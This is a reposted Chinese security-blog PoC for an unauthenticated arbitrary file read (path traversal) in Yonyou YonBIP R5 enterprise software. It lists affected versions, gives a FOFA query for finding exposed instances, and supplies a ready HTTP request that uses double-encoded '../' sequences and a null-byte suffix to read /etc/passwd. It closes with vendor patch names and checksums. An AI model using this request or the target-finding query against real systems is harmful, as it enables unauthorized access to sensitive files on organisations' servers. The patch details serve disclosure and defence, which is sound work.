用友YonBIP R5旗舰版 yonbiplogin 任意文件读取漏洞 PoC

admin
admin
admin
138635
文章
114
评论
2024年11月14日11:42:04评论112 views字数 1456阅读4分51秒阅读模式

0x02

产品介绍

用友YonBIP（Yonyou Business Innovation Platform）R5旗舰版是用友公司在数字经济时代背景下，针对成长型、大型及巨型企业推出的一款商业创新平台。融合了先进且高可用技术平台和公共与关键商业应用与服务，支撑和运行客户的商业创新（业务创新、管理变革），具有数字化、智能化、高弹性、安全可信、社会化、全球化、平台化、生态化等特征。它是用友采用新一代信息技术，按照云原生、元数据驱动、中台化和数用分离的架构设计，涵盖平台服务、应用服务、业务服务与数据服务等形态，集工具、能力和资源服务为一体的平台型、生态化的云服务群。
0x03

漏洞威胁

由于YonBIP R5旗舰版使用的Lua脚本(Nginx)不安全设计，存在路径穿越漏洞。未经身份验证的远程攻击者可以利用该漏洞实现任意文件读取，从而导致信息泄露。使系统处于极不安全的状态。
影响范围：
YonBIP V3.0(R5_2312)
YonBIP V3.0(R5_2312_SP240517)
0x04

漏洞环境

FOFA:

title="数字化工作台" || title="YonBIP"

用友YonBIP R5旗舰版 yonbiplogin 任意文件读取漏洞 PoC

0x05

漏洞复现

PoC

GET /iuap-apcom-workbench/ucf-wh/yonbiplogin/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg.js HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: application/x-www-form-urlencodedConnection: close

用友YonBIP R5旗舰版 yonbiplogin 任意文件读取漏洞 PoC

0x06

批量脚本验证

Nuclei验证脚本已发布
知识星球：冷漠安全

用友YonBIP R5旗舰版 yonbiplogin 任意文件读取漏洞 PoC

0x07

修复建议

基于专属化盘版本号进行排查，补丁请至“云产品补丁中心”中下载。

YonBIP V3.0(R5_2312_SP240517);

补丁名称：TNS_iuap-fe-webhome_iuap.V6.R5_2312_SP240517_36_QP20240927-2

校验码：dbe6149dab9dce75e81717d7a343861cfd81306b

依赖补丁：TNS_iuap.V6.R5_2312_36_SP20240605-2

YonBIP V3.0(R5_2312)：

补丁名称：TNS_iuap-fe-webhome_iuap.V6.R5_2312_36_QP20241021-2

校验码：a35e4160d7b7aab7e68fc9cd0cc36e5c05011058

YonBIP V3.0(R5_2312)：R5 standalone版本补丁

补丁名称：TNS_iuap-fe-webhome_iuap.V6.R5_2312_37_QP20241024-1

校验码：8ee58fbaac546a8278924579ba0e38e339a418c0

备注：

1025（包含）以上版本合集补丁包含该安全补丁

https://security.yonyou.com/#/noticeInfo?id=627
0x08

 

原文始发于微信公众号（冷漠安全）：「漏洞复现」用友YonBIP R5旗舰版 yonbiplogin 任意文件读取漏洞

 

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月14日11:42:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   用友YonBIP R5旗舰版 yonbiplogin 任意文件读取漏洞 PoChttps://cn-sec.com/archives/3394914.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息